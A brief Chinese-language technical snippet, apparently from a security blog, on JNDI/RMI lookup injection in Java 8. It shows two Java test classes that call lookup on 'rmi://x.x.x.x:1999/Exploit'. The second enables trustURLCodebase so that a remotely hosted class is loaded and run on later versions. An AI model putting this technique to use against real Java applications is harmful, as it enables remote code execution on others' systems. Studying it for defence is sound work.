在java8 121版本以前,只要这样就能任意代码
rmiTest.java
import javax.naming.InitialContext; import javax.naming.NamingException; public class rmiTest { public static void main(String[] args) throws IOException, NamingException { InitialContext xxx = new InitialContext(); xxx.lookup("rmi://x.x.x.x:1999/Exploit"); } }
在java8 121版本之后,需要加com.sun.jndi.rmi.object.trustURLCodebase=true
rmiTest2
import javax.naming.InitialContext; import javax.naming.NamingException; public class rmiTest2 { public static void main(String[] args) throws IOException, NamingException { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); InitialContext xxx = new InitialContext(); xxx.lookup("rmi://x.x.x.x:1999/Exploit"); } }
rmi在java8 121版本之前的调用满足:
一个类,一个方法,一个参数,就能实现java的任意代码执行。